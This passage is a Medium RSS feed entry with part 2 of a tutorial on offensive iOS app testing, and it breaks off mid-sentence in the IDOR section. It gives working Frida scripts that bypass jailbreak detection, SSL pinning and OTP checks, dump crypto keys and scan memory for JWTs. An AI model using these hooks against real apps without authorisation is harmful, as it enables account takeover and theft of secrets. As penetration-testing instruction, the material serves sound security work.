<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Shubham Gupta on Medium]]></title>
        <description><![CDATA[Stories by Shubham Gupta on Medium]]></description>
        <link>https://medium.com/@vulndetox?source=rss-cbf94896e53c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*XpMnTla14sCRby9Dca1wIQ.png</url>
            <title>Stories by Shubham Gupta on Medium</title>
            <link>https://medium.com/@vulndetox?source=rss-cbf94896e53c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 05:43:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vulndetox/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From IPA to Exploit: The Complete Offensive Methodology for iOS Application Testing — Part 2]]></title>
            <link>https://medium.com/@vulndetox/from-ipa-to-exploit-the-complete-offensive-methodology-for-ios-application-testing-part-2-b739f0b7372b?source=rss-cbf94896e53c------2</link>
            <guid isPermaLink="false">https://medium.com/p/b739f0b7372b</guid>
            <category><![CDATA[ios-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Shubham Gupta]]></dc:creator>
            <pubDate>Sun, 05 Apr 2026 22:31:01 GMT</pubDate>
            <atom:updated>2026-04-06T15:25:19.118Z</atom:updated>
            <content:encoded><![CDATA[<h3>Runtime Exploitation, Instrumentation &amp; Offensive Execution</h3><blockquote>“Static analysis shows potential. Dynamic analysis proves exploitability.”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*U2wPRRcUIX65th7W.png" /></figure><p>Part 1 was the map.</p><p>We extracted the IPA, read the binary, diffed the entitlements, mapped the extensions, and built a pre-dynamic control state — a complete picture of the app’s architecture before touching a live device.</p><p>Now we prove it.</p><p>Part 2 is where findings stop being theoretical and start being demonstrable. Where “this looks vulnerable” becomes “here is the extracted token.” Where the client stops nodding and starts leaning forward.</p><p>The same principle from Part 1 applies here: <strong>understand what you’re attacking before you attack it.</strong> Frida without a plan is noise. Runtime testing with a pre-mapped target list is precision.</p><p>Every section in this part connects directly to something you mapped in Part 1. If you skipped Part 1 — go back. The commands here won’t make sense without the context that precedes them.</p><h3>Dynamic Analysis — What Changes When the App Is Running</h3><p>Static analysis reads the binary. Dynamic analysis <em>observes the process</em>. The difference is significant.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*bw54q5Pi7aK-92ZyN1yurQ.png" /></figure><p>This is why static analysis alone is never enough. An app can have beautiful-looking pinning code that returns true unconditionally due to a bug. An app can have a jailbreak check that&#39;s commented out in one build and active in another. You won&#39;t know until you run it.</p><p><strong>The dynamic analysis model:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*sneJmaU2AJs3r6bvgEi2LA.png" /></figure><h3>Building Your Testing Device — Jailbreak Selection &amp; Environment Setup</h3><p>Before Frida, before objection, before any hook — you need a properly configured jailbroken device. And in the current landscape, “<strong>jailbroken</strong>” doesn’t mean what it meant three years ago. The model you choose changes your entire testing workflow.</p><h3>Choosing the Right Jailbreak for Testing</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*q1vaj4yzE4fLpNFAq-a0BA.png" /></figure><p><strong>For active testing engagements:</strong> Dopamine on a modern A14/A15 device is the current standard. It’s rootless — harder to detect, closer to what users run, and more representative of real-world app behavior. palera1n on an A10/A11 device is the fallback when you need full filesystem access or rootful-specific tools.</p><p><strong>The key decision:</strong> rootless vs rootful changes where everything lives.</p><h3>Rootless vs Rootful — What Actually Changes for You</h3><p>This isn’t just terminology. The path difference breaks tools if you don’t know about it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*GTCrQBsVytS9s-kUTNwu7g.png" /></figure><p><strong>The offensive implication:</strong> Apps checking for /usr/bin/ssh or /usr/sbin/sshd as jailbreak indicators get a clean result on a rootless device. The file exists — but not at the path the detection logic checks. This is documented in Part 1 of this series, but it pays dividends at runtime.</p><h3>Bootstrap Setup — Getting the Foundation Right</h3><p>After jailbreaking with Dopamine or palera1n, the <strong>bootstrap</strong> is what actually installs the package manager, SSH, and the base tools. On rootless devices this step is critical — without a properly applied bootstrap, nothing else works.</p><p><strong>Dopamine (rootless) bootstrap:</strong></p><pre># After jailbreak via Dopamine app on device:<br># 1. Enable SSH through Dopamine settings<br># 2. Default SSH password: alpine (change immediately)<br># Connect from your machine<br>ssh root@&lt;device-ip&gt;<br># Verify bootstrap is applied<br>ls /var/jb/<br># Should show: usr/ etc/ Library/ private/<br># Verify package manager<br>which sileo   # or: which zebra<br>apt list --installed 2&gt;/dev/null | head</pre><p><strong>palera1n (rootful) bootstrap:</strong></p><pre># palera1n installs bootstrap via --install-bootstrap flag<br># or through the palera1n app UI<br># After bootstrap:<br>ssh root@&lt;device-ip&gt;<br># Standard paths work<br>ls /usr/bin/<br>which apt</pre><p><strong>First thing after SSH access: change the root password.</strong></p><pre>passwd root<br># Default &#39;alpine&#39; is known. Change it before any testing.</pre><h3>Sileo Tweaks — Your Complete Testing Arsenal</h3><p>Sileo is the modern package manager for rootless jailbreaks. This is what you install to build a functional testing environment. Each tweak has a specific role in the workflow.</p><p><strong>Add these repositories to Sileo first:</strong></p><p><strong>Essential tweaks — install all of these:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*QWWI_8rbjj6KIKW64za4tQ.png" /></figure><p><strong>Frida via Sileo (alternative to manual install):</strong></p><pre># Add Frida&#39;s Sileo repo<br># In Sileo: Sources → + → https://build.frida.re<br># Install frida from Sileo<br># Then verify version matches your machine<br>ssh root@&lt;device-ip&gt;<br>frida --version<br># On your machine:<br>frida --version<br># Both must match exactly</pre><h3>Testing Environment Verification</h3><p>Before any engagement, run this sequence to confirm your environment is fully operational:</p><pre>ssh root@&lt;device-ip&gt;<br># 1. Verify rootless paths (Dopamine)<br>ls /var/jb/usr/bin/ | grep -E &quot;ssh|python|bash&quot;<br># 2. Verify Frida server is running<br>ps aux | grep frida-server<br>If not running - start it<br># Rootless path:<br>/var/jb/usr/sbin/frida-server &amp;<br># Rootful path:<br>/usr/sbin/frida-server &amp;<br># 3. From your machine - verify process list<br>frida-ps -U | grep -v &quot;^PID&quot;   <br># Should list device processes<br># 4. Verify AppSync (for re-signed IPA installation)<br>ideviceinstaller -i test_resigned.ipa<br># Should install without &quot;untrusted developer&quot; block<br># 5. Verify SSL Kill Switch active<br>Open target app → check if Burp receives traffic<br># 6. Verify bypass tweaks<br>Open target app → confirm it doesn&#39;t detect jailbreak<br></pre><pre>Environment state before engagement:<br><br>[1] SSH accessible and password changed<br>[2] Frida-server running on device<br>[3] frida-ps -U returns process list<br>[4] AppSync installed and re-signed IPAs install cleanly<br>[5] SSL Kill Switch active<br>[6] Liberty Lite / A-Bypass / Shadow enabled for target app<br>[7] Filza accessible for container navigation<br>[8] Keychain-Dumper binary present<br>[9] Version parity: frida-tools == frida-server</pre><h3>Rootless-Specific Gotchas That Will Break Your Workflow</h3><p><strong>Gotcha 1 — Frida-server binary path:</strong></p><p>On rootless, frida-server installs to /var/jb/usr/sbin/frida-server. Scripts that hardcode /usr/sbin/frida-server will fail silently.</p><pre># Find the actual path<br>find /var/jb -name &quot;frida-server&quot; 2&gt;/dev/null<br>which frida-server   # May not be in PATH on rootless</pre><p><strong>Gotcha 2 — SSH path for scp:</strong></p><pre># Rootful — works as expected<br>scp frida-server root@&lt;device-ip&gt;:/usr/sbin/<br><br># Rootless - must use jb prefix path<br>scp frida-server root@&lt;device-ip&gt;:/var/jb/usr/sbin/</pre><p><strong>Gotcha 3 — Liberty Lite scope:</strong></p><p>Liberty Lite’s jailbreak detection bypass must be explicitly enabled per-app in Settings → Liberty. It doesn’t apply globally by default on rootless. If the target app still detects jailbreak after install — check Liberty’s scope list.</p><p><strong>Gotcha 4 — Shadow vs Liberty Lite:</strong></p><p>Liberty Lite handles file-based detection. Shadow handles deeper checks — sysctl, proc_info, cs_ops. For banking and fintech apps that use multiple detection layers, enable <strong>both</strong> simultaneously. They don&#39;t conflict.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*lGITFSPeTQ20YK5ixc0vaA.png" /></figure><p><strong>Tweak conflicts are real.</strong> Installing too many bypass tweaks creates unpredictable behavior. Use the minimum stack needed for the target, not everything at once.</p><h3>Setting Up Frida — The Instrumentation Engine</h3><p>Before anything else, your Frida environment needs to be operational and verified.</p><pre>FRIDA SETUP OVERVIEW<br><br>Your machine       → frida-tools installed via pip<br>Jailbroken device  → frida-server running as root<br>Connection         → USB or SSH tunnel<br>Verification       → frida-ps -U lists running processes</pre><h3>Environment Setup and Verification</h3><pre># Install Frida tools on your machine<br>pip3 install frida-tools<br># Verify installation<br>frida --version<br># On jailbroken device - download matching frida-server<br># Must match exact version of frida-tools on your machine<br># Transfer to device<br>scp frida-server root@&lt;device-ip&gt;:/usr/local/bin/<br># On device - start frida-server<br>ssh root@&lt;device-ip&gt;<br>chmod +x /usr/local/bin/frida-server<br>frida-server &amp;<br># Back on your machine - verify connection<br>frida-ps -U<br># Should list all running processes on device<br># Find your target app in the list<br>frida-ps -U | grep -i &quot;AppName&quot;</pre><p><strong>Expected output:</strong></p><pre>PID   Name<br>─────────────<br>1823  AppName</pre><p>If frida-ps -U returns nothing or errors — frida-server version mismatch. Versions must be identical on both sides. This is the most common setup failure.</p><h3>Spawn vs Attach — One Flag That Changes Everything</h3><p>Most tutorials show frida -U -p &lt;pid&gt;. That&#39;s <em>attach</em> mode — you connect to an already-running process. The problem: many apps trigger anti-debug or anti-tamper logic the moment a debugger attaches. By the time Frida is in, the detection has already fired and the app is in a defensive state.</p><p><strong>Spawn mode</strong> starts the app <em>through</em> Frida — the instrumentation engine is present from the first instruction. Detection logic hasn’t fired yet. Your hooks are in before the app has a chance to check.</p><pre># Attach mode — connects to running process<br># Anti-tamper may have already fired<br>frida -U -p 1823 -l your_script.js<br># Spawn mode - Frida starts the app<br># Instrumentation is present from process start<br>frida -U -f com.company.appname -l your_script.js --no-pause</pre><p><strong>Rule:</strong> Always try spawn first. Fall back to attach only when the app’s launch sequence prevents spawning — some MDM-managed apps won’t spawn cleanly through Frida.</p><h3>App-Level Frida Detection — When the App Fights Back</h3><p>Some production apps actively scan for Frida’s presence. This is separate from jailbreak detection — the app isn’t checking for jailbreak artifacts, it’s checking for <em>you specifically</em>.</p><p><strong>What apps look for:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*7S4R53TDDpp8ODPdsFOgcg.png" /></figure><p><strong>Bypass — rename and report:</strong></p><pre># On device — rename the binary, use non-default port<br>cp /usr/local/bin/frida-server /usr/local/bin/fs_tool<br>chmod +x /usr/local/bin/fs_tool<br><br># Start on a different port<br>fs_tool -l 0.0.0.0:27999 &amp;<br><br># Connect from your machine using the same port<br>frida -U -f com.company.appname --gadget-name=&quot;fs_tool&quot; -H 127.0.0.1:27999 -l your_script.js --no-pause</pre><p><strong>For non-jailbroken devices — FridaGadget injection:</strong></p><p>If you’re testing on a non-jailbroken device (or want to avoid frida-server entirely), inject FridaGadget.dylib directly into the IPA:</p><pre># 1. Download FridaGadget.dylib matching your frida-tools version<br># 2. Copy into app bundle<br>cp FridaGadget.dylib Payload/AppName.app/Frameworks/<br><br># 3. Patch load command into binary using insert_dylib<br>insert_dylib --strip-codesig \<br>  @executable_path/Frameworks/FridaGadget.dylib \<br>  Payload/AppName.app/AppName<br><br># 4. Re-sign the IPA<br>codesign -f -s &quot;Your Dev Certificate&quot; \<br>  Payload/AppName.app/Frameworks/FridaGadget.dylib<br>codesign -f -s &quot;Your Dev Certificate&quot; \<br>  Payload/AppName.app/AppName<br><br># 5. Repack and install<br>zip -r AppName_patched.ipa Payload/<br>ideviceinstaller -i AppName_patched.ipa<br><br># 6. Connect - FridaGadget pauses app at startup, waiting for connection<br>frida -U AppName -l your_script.js</pre><p>FridaGadget works on stock devices, bypasses frida-server detection entirely, and is the correct approach when the target environment doesn’t support or allow jailbreaking.</p><blockquote><em>💡 </em><strong><em>Fun Fact #1:</em></strong><em> Frida was created by Ole André Vadla Ravnås and released in 2013. The name has no formal meaning — Ravnås has said it came to him intuitively. What started as a personal instrumentation project became the de facto standard for mobile security research worldwide. Almost every iOS bypass technique you’ll find online ultimately relies on it.</em></blockquote><h3>Jailbreak Detection — Understanding Before Bypassing</h3><p>Before you touch a bypass, understand what you’re bypassing. Jailbreak detection is not a single check — it’s a collection of signals the app evaluates at runtime. Different apps implement different subsets, and the bypass strategy depends entirely on which ones are active.</p><p><strong>Common detection patterns and what they check:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*PkLQK34P4bktcBdi7GbMRg.png" /></figure><p>In Part 1 you mapped these statically using strings. Now you confirm which ones actually fire at runtime — and then silence them.</p><h3>Jailbreak Detection Bypass with Frida</h3><p><strong>Method 1 — objection (fastest for known patterns):</strong></p><pre># Launch app with objection attached<br>objection -g com.company.appname explore<br><br># Once inside objection shell:<br>ios jailbreak disable</pre><p>objection’s built-in bypass handles the most common file-existence and URL scheme checks automatically.</p><p><strong>Method 2 — Manual Frida hook (when objection isn’t enough):</strong></p><p>From your Part 1 static mapping, you identified the detection function. Now hook it:</p><pre>// jailbreak_bypass.js<br>// Hook the specific function you identified statically<br><br>if (ObjC.available) {<br>    // Example: hook an ObjC method<br>    var AppIntegrity = ObjC.classes.AppIntegrityChecker;<br>    if (AppIntegrity) {<br>        var method = AppIntegrity[&#39;- isJailbroken&#39;];<br>        Interceptor.attach(method.implementation, {<br>            onLeave: function(retval) {<br>                console.log(&#39;[*] isJailbroken called - forcing false&#39;);<br>                retval.replace(0); // Return false<br>            }<br>        });<br>    }<br>}<br><br># Inject the script<br>frida -U -f com.company.appname -l jailbreak_bypass.js --no-pause</pre><p><strong>Method 3 — Hook file existence checks (rootful detection on rootless device):</strong></p><pre>// file_check_bypass.js<br>var openPtr = Module.findExportByName(null, &#39;open&#39;);<br>Interceptor.attach(openPtr, {<br>    onEnter: function(args) {<br>        var path = args[0].readUtf8String();<br>        var jailbreakPaths = [<br>            &#39;/Applications/Cydia.app&#39;,<br>            &#39;/usr/bin/ssh&#39;,<br>            &#39;/var/lib/apt&#39;,<br>            &#39;/bin/bash&#39;,<br>            &#39;/usr/sbin/sshd&#39;<br>        ];<br>        if (jailbreakPaths.some(p =&gt; path &amp;&amp; path.includes(p))) {<br>            console.log(&#39;[*] Blocked path check: &#39; + path);<br>            args[0] = Memory.allocUtf8String(&#39;/nonexistent&#39;);<br>        }<br>    }<br>});</pre><p><strong>If the app passes jailbreak detection after your bypass</strong> — move to the next layer. Many apps run multiple independent checks. Map each one and address them in sequence, not shotgun-style.</p><p><strong>Detection-as-a-Service — the pattern nobody documents:</strong></p><p>Some enterprise and fintech apps run jailbreak detection as a background component that broadcasts results via NSNotificationCenter. Hooking the detection <em>function</em> silences the check — but the daemon still fires the notification, and the app&#39;s UI layer responds to that notification, not to the function&#39;s return value.</p><pre>// notification_bypass.js<br>// Hook NSNotificationCenter to intercept jailbreak broadcast<br>var NSNotificationCenter = ObjC.classes.NSNotificationCenter;<br>var postNotification = NSNotificationCenter[<br>    &#39;- postNotificationName:object:userInfo:&#39;<br>];<br><br>Interceptor.attach(postNotification.implementation, {<br>    onEnter: function(args) {<br>        var name = ObjC.Object(args[2]).toString();<br>        // Common notification names - varies by app<br>        if (name.includes(&#39;Jailbreak&#39;) ||<br>            name.includes(&#39;Integrity&#39;) ||<br>            name.includes(&#39;TamperDetect&#39;)) {<br>            console.log(&#39;[*] Blocked notification: &#39; + name);<br>            args[2] = ObjC.classes.NSString<br>                .stringWithString_(&#39;__blocked__&#39;);<br>        }<br>    }<br>});</pre><p>If your function hook succeeds but the app still blocks access — this is the reason. Hook the notification layer, not just the check.</p><h3>SSL Pinning — Theory Then Bypass</h3><p>Certificate pinning is the app’s way of saying: <em>I don’t trust the system’s certificate store — I verify the server against my own copy.</em> This blocks standard MITM interception because your Burp certificate fails the app’s internal check.</p><p><strong>How pinning works:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*8jGg6qsxe9LhtKnxcvfhSw.png" /></figure><p>Your target in bypass: the <em>evaluation result</em> — not the certificate itself. You don’t need a valid certificate. You need the validation function to return success regardless of what it receives.</p><p><strong>Three pinning implementation patterns (from Part 1 static mapping):</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*Ja-xBxhtNpBuqic8YZXZtw.png" /></figure><h3>SSL Pinning Bypass</h3><p><strong>Method 1 — objection (handles most standard implementations):</strong></p><pre>objection -g com.company.appname explore<br><br># Inside objection shell:<br>ios sslpinning disable</pre><p><strong>Method 2 — Frida SSL Kill Switch (broader coverage):</strong></p><pre># Using SSL Kill Switch 2 script<br>frida -U -f com.company.appname \<br>  -l ssl_kill_switch2.js --no-pause</pre><p><strong>Method 3 — Manual hook on SecTrustEvaluate (when others fail):</strong></p><pre>// trust_bypass.js<br>// Hooks the system-level trust evaluation function directly<br><br>var SecTrustEvaluate = Module.findExportByName(<br>    &#39;Security&#39;, &#39;SecTrustEvaluate&#39;<br>);<br>Interceptor.attach(SecTrustEvaluate, {<br>    onLeave: function(retval) {<br>        console.log(&#39;[*] SecTrustEvaluate hooked - forcing trust&#39;);<br>        retval.replace(0); // errSecSuccess<br>    }<br>});<br>// Also hook the newer API<br>var SecTrustEvaluateWithError = Module.findExportByName(<br>    &#39;Security&#39;, &#39;SecTrustEvaluateWithError&#39;<br>);<br>if (SecTrustEvaluateWithError) {<br>    Interceptor.attach(SecTrustEvaluateWithError, {<br>        onLeave: function(retval) {<br>            retval.replace(1); // Return true = trusted<br>        }<br>    });<br>}</pre><pre>frida -U -f com.company.appname -l trust_bypass.js --no-pause</pre><p><strong>Verify bypass worked:</strong></p><pre># Configure Burp proxy on device<br># Now run the app — traffic should appear in Burp<br># If still blocked — the app has additional pinning layers</pre><p><strong>If standard bypasses fail:</strong> The app likely uses a custom TLS implementation or validates at a layer below SecTrustEvaluate. Go back to your static map — find the exact function name from your Part 1 delegate pattern search and hook it directly.</p><p><strong>Method 4 — Flutter/Dart apps (the one everyone misses):</strong></p><p>Flutter apps use Dart’s networking layer — not Apple’s URLSession, not CFNetwork. Every standard iOS hook misses them completely. SecTrustEvaluate doesn&#39;t fire. objection&#39;s ios sslpinning disable does nothing. The bypass path is recompilation, not hooking.</p><pre># 1. Install reflutter — Flutter repackaging tool<br>pip3 install reflutter<br><br># 2. Patch the IPA - reflutter modifies Dart&#39;s certificate validation<br>reflutter AppName.ipa<br># Select option 1: &quot;Traffic interception and SSL unpinning&quot;<br># Enter your Burp proxy IP when prompted<br><br># 3. reflutter outputs a patched IPA<br># Re-sign it with your developer certificate<br>codesign -f -s &quot;Your Dev Certificate&quot; \<br>  --entitlements entitlements.plist \<br>  ./release.ipa<br><br># 4. Install and run<br>ideviceinstaller -i ./release.ipa<br><br># 5. Configure Burp on port 8083 (reflutter&#39;s default)<br>Traffic now flows through Burp</pre><p>🚨 If static analysis showed Flutter framework files in Frameworks/ (look for App.framework and Flutter.framework) — standard bypass methods will silently fail. Identify Flutter apps early and route straight to reflutter.</p><blockquote><em>💡 </em><strong><em>Fun Fact #2:</em></strong><em> SSL pinning was popularized as a mobile security control after the 2011 DigiNotar CA compromise — where a rogue certificate authority issued fraudulent certificates for Google, allowing MITM attacks on hundreds of thousands of users. App developers realized that trusting the OS certificate store entirely was a systemic risk, and pinning was the response. The irony is that it’s now routinely bypassed in under 30 seconds on a jailbroken device.</em></blockquote><h3>Frida Runtime Instrumentation — Strategy and Execution</h3><p>Frida is not a magic button. The practitioners who get clean results use it deliberately. Here’s the pattern that separates a useful Frida session from a wall of noise.</p><p><strong>The instrumentation mental model:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*O_k-VYDcdB5RfOjqRET_JQ.png" /></figure><h3>Core Frida Patterns</h3><p><strong>Pattern 1 — Hook any ObjC method and log arguments:</strong></p><pre>// hook_objc_method.js<br>if (ObjC.available) {<br>    var ClassName = ObjC.classes.AuthManager;<br>    var method = ClassName[&#39;- validateToken:&#39;];<br>Interceptor.attach(method.implementation, {<br>        onEnter: function(args) {<br>            // args[0] = self, args[1] = selector, args[2] = first param<br>            var token = ObjC.Object(args[2]);<br>            console.log(&#39;[*] validateToken called with: &#39; + token.toString());<br>        },<br>        onLeave: function(retval) {<br>            console.log(&#39;[*] validateToken returned: &#39; + retval);<br>            // Force return true<br>            retval.replace(1);<br>        }<br>    });<br>}</pre><p><strong>Pattern 2 — Hook Swift functions:</strong></p><pre>// Swift functions are name-mangled — use the demangled name from Part 1<br>var swiftFunc = Module.findExportByName(<br>    &#39;AppName&#39;,<br>    &#39;$s7AppName11AuthManagerC13validateTokenySbSSF&#39;<br>);<br>if (swiftFunc) {<br>    Interceptor.attach(swiftFunc, {<br>        onEnter: function(args) {<br>            console.log(&#39;[*] Swift validateToken called&#39;);<br>        },<br>        onLeave: function(retval) {<br>            retval.replace(1); // Force true<br>        }<br>    });<br>}</pre><p><strong>Pattern 3 — Dump function arguments to find tokens in memory:</strong></p><pre>// memory_dump.js<br>// Intercept data being passed to network layer<br>var CFURLRequestSetHTTPRequestBody = Module.findExportByName(<br>    &#39;CFNetwork&#39;, &#39;CFURLRequestSetHTTPRequestBody&#39;<br>);<br>Interceptor.attach(CFURLRequestSetHTTPRequestBody, {<br>    onEnter: function(args) {<br>        var data = args[1];<br>        if (data) {<br>            console.log(&#39;[*] HTTP Body: &#39; +<br>                Memory.readUtf8String(data));<br>        }<br>    }<br>});</pre><p><strong>Pattern 4 — frida-trace for automated function tracing:</strong></p><pre># Trace all calls to authentication-related functions<br>frida-trace -U -f com.company.appname -m &quot;-[AuthManager *]&quot; -m &quot;-[SessionController *]&quot;<br><br># Trace specific system calls<br>frida-trace -U -f com.company.appname -i &quot;SecItemCopyMatching&quot; -i &quot;SecItemAdd&quot;</pre><p>frida-trace auto-generates hook templates in __handlers__/ that you can edit. This is faster than writing hooks from scratch when you&#39;re exploring unknown codepaths.</p><h3>Dumping the Decrypted Binary (Frida + objection)</h3><p>Many apps ship with encrypted binaries. The decrypted version only exists in memory at runtime.</p><pre># Inside objection shell<br>memory dump all /tmp/app_memory_dump.bin<br><br># Or dump specific module<br>memory dump from_base AppName /tmp/AppName_decrypted<br><br># Pull to your machine for Ghidra analysis<br>scp root@&lt;device-ip&gt;:/tmp/AppName_decrypted ./</pre><p>The decrypted binary contains everything strings extraction missed on the encrypted version. Re-run your full static sweep on the decrypted dump — you’ll often find credentials and logic that were invisible before.</p><h3>Crypto Misuse — The Finding Categories Nobody Talks About</h3><p>Apps that handle sensitive data often implement their own crypto layer — sometimes on top of what Apple provides, sometimes instead of it. This is where things break in predictable ways.</p><p><strong>The common failure patterns:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*6kOfp7g7Gif8eFKsmNqbNQ.png" /></figure><h3>Hunting Crypto Misuse Statically</h3><pre># Find hardcoded keys — look for Base64 and hex strings<br>strings AppName | grep -E &quot;^[A-Za-z0-9+/]{24,}={0,2}$&quot;<br><br># Find common weak crypto references<br>strings AppName | grep -Ei &quot;ECB|DES|RC4|MD5|SHA1&quot;<br><br># Find IV patterns - static IVs often appear as repeated byte sequences<br>strings AppName | grep -E &quot;([0-9a-fA-F]{2}){16}&quot;<br><br># CommonCrypto usage - what cipher modes are being requested<br>strings AppName | grep -Ei &quot;kCCAlgorithmAES|kCCOptionECBMode|kCCModeCBC&quot;</pre><p><strong>Finding example:</strong></p><pre>kCCOptionECBMode    ← ECB mode requested 🚨<br>AAAAAAAAAAAAAAAA    ← Static IV (16 zeros) 🚨</pre><h3>Intercepting Crypto Operations at Runtime</h3><pre>// crypto_intercept.js<br>// Hook CommonCrypto to capture keys and plaintext<br><br>var CCCrypt = Module.findExportByName(null, &#39;CCCrypt&#39;)<br>Interceptor.attach(CCCrypt, {<br>    onEnter: function(args) {<br>        var operation = args[0].toInt32(); // 0=encrypt, 1=decrypt<br>        var keyLength = args[4].toInt32();<br>        var keyPtr = args[3];<br>        var dataLength = args[6].toInt32();<br>        var dataPtr = args[5];<br>console.log(&#39;[*] CCCrypt called&#39;);<br>        console.log(&#39;    Operation: &#39; + (operation === 0 ? &#39;ENCRYPT&#39; : &#39;DECRYPT&#39;));<br>        console.log(&#39;    Key (&#39; + keyLength + &#39; bytes): &#39; +<br>            hexdump(keyPtr, { length: keyLength }));<br>        console.log(&#39;    Data (&#39; + dataLength + &#39; bytes): &#39; +<br>            Memory.readUtf8String(dataPtr, dataLength));<br>    }<br>});</pre><pre>frida -U -f com.company.appname -l crypto_intercept.js --no-pause</pre><p><strong>If you see the same key value every session</strong> → hardcoded key. The app’s encryption is as strong as your ability to read the binary — which you already did in Part 1.</p><h3>Business Logic Exploitation — The Most Underreported Category</h3><p>This is where the highest-impact findings live and where the fewest testers look. Business logic vulnerabilities don’t come from misconfigured libraries — they come from developers building workflows that trust the client.</p><p><strong>The core failure:</strong> if the app makes decisions about what a user <em>can</em> do, and those decisions happen client-side, an attacker with Frida can change the outcome.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*mI7_VqtB9xNa0qNWgNxFCQ.png" /></figure><h3>Business Logic Testing Patterns</h3><p><strong>Pattern 1 — Identify and flip boolean gates:</strong></p><pre>// Find any method with &quot;isPremium&quot;, &quot;isSubscribed&quot;, &quot;canAccess&quot;<br>// From your Part 1 symbol map — search for these patterns<br><br>var UserAccount = ObjC.classes.UserAccount;<br>var isPremiumMethod = UserAccount[&#39;- isPremium&#39;];<br>Interceptor.attach(isPremiumMethod.implementation, {<br>    onLeave: function(retval) {<br>        console.log(&#39;[*] isPremium was: &#39; + retval);<br>        retval.replace(1); // Force premium = true<br>        console.log(&#39;[*] isPremium forced: true&#39;);<br>    }<br>});</pre><p><strong>Pattern 2 — OTP / PIN validation bypass:</strong></p><pre>// Hook the validation method — return success regardless of input<br>var OTPValidator = ObjC.classes.OTPValidator;<br>var validateMethod = OTPValidator[&#39;- validateCode:&#39;];<br>Interceptor.attach(validateMethod.implementation, {<br>    onEnter: function(args) {<br>        var code = ObjC.Object(args[2]);<br>        console.log(&#39;[*] OTP validation called with: &#39; + code);<br>    },<br>    onLeave: function(retval) {<br>        retval.replace(1); // Always return valid<br>        console.log(&#39;[*] OTP validation forced: PASS&#39;);<br>    }<br>});</pre><p><strong>Pattern 3 — State machine manipulation (skip steps in a flow):</strong></p><pre># From Part 1 — you identified the URL scheme<br># Use it to jump directly to a post-auth screen<br># Test if authenticated screens are reachable pre-auth<br>myapp://checkout/confirm<br>myapp://account/settings/admin<br>myapp://onboarding/complete</pre><p><strong>Pattern 4 — JWT claim manipulation in memory:</strong></p><pre>// Find the JWT in memory after authentication<br>var pattern = &#39;eyJhbGci&#39;; // JWT header start (Base64)<br>var results = Memory.scanSync(<br>    Process.enumerateRanges(&#39;r--&#39;)[0].base,<br>    Process.enumerateRanges(&#39;r--&#39;)[0].size,<br>    pattern<br>);<br>results.forEach(function(result) {<br>    console.log(&#39;[*] JWT found at: &#39; + result.address);<br>    console.log(Memory.readUtf8String(result.address, 200));<br>});</pre><p><strong>Business logic findings have the highest business impact and the lowest technical barrier.</strong> A rate limit bypass on a login endpoint enables credential stuffing at scale. An OTP bypass enables account takeover. Document these with the business consequence, not just the technical observation.</p><blockquote><em>💡 </em><strong><em>Fun Fact #3:</em></strong><em> The most expensive bug bounty payout in mobile security history wasn’t a memory corruption exploit or a kernel vulnerability — it was a business logic flaw. Logic bugs are consistently undervalued in internal security reviews because they don’t trigger scanners, don’t require CVEs, and don’t look impressive in a vulnerability database. They just work.</em></blockquote><h3>Network Layer Offensive Testing</h3><p>With SSL pinning bypassed and Burp intercepting traffic, the network layer becomes your second major attack surface. This is where server-side assumptions about client behavior get tested.</p><p><strong>What you’re looking for:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*QkwF6NWH0lCrkTcF0xR1kA.png" /></figure><h3>Network Testing With Burp</h3><p><strong>Setup proxy on jailbroken device:</strong></p><pre># On device — set proxy to your Burp machine<br># Settings → WiFi → [Network] → Manual Proxy<br># Host: your machine IP, Port: 8080<br># Install Burp CA certificate<br># Download from http://burp on device browser<br># Settings → General → VPN &amp; Device Management → Trust</pre><p><strong>JWT analysis and manipulation:</strong></p><pre># Decode JWT without verification<br>echo &quot;eyJhbGciOiJSUzI1NiJ9...&quot; | \<br>  python3 -c &quot;<br>import sys, base64, json<br>token = sys.stdin.read().strip()<br>parts = token.split(&#39;.&#39;)<br>header = base64.b64decode(parts[0] + &#39;==&#39;).decode()<br>payload = base64.b64decode(parts[1] + &#39;==&#39;).decode()<br>print(&#39;Header:&#39;, json.dumps(json.loads(header), indent=2))<br>print(&#39;Payload:&#39;, json.dumps(json.loads(payload), indent=2))<br>&quot;</pre><p><strong>Check for IDOR — parameter manipulation:</strong></p><pre>In Burp — capture authenticated request<br>Original: GET /api/v1/user/12345/profile<br>Modified: GET /api/v1/user/12346/profile<br>If returns another users data → IDOR 🚨<br>Check role parameters<br>Original: {&quot;role&quot;: &quot;user&quot;, 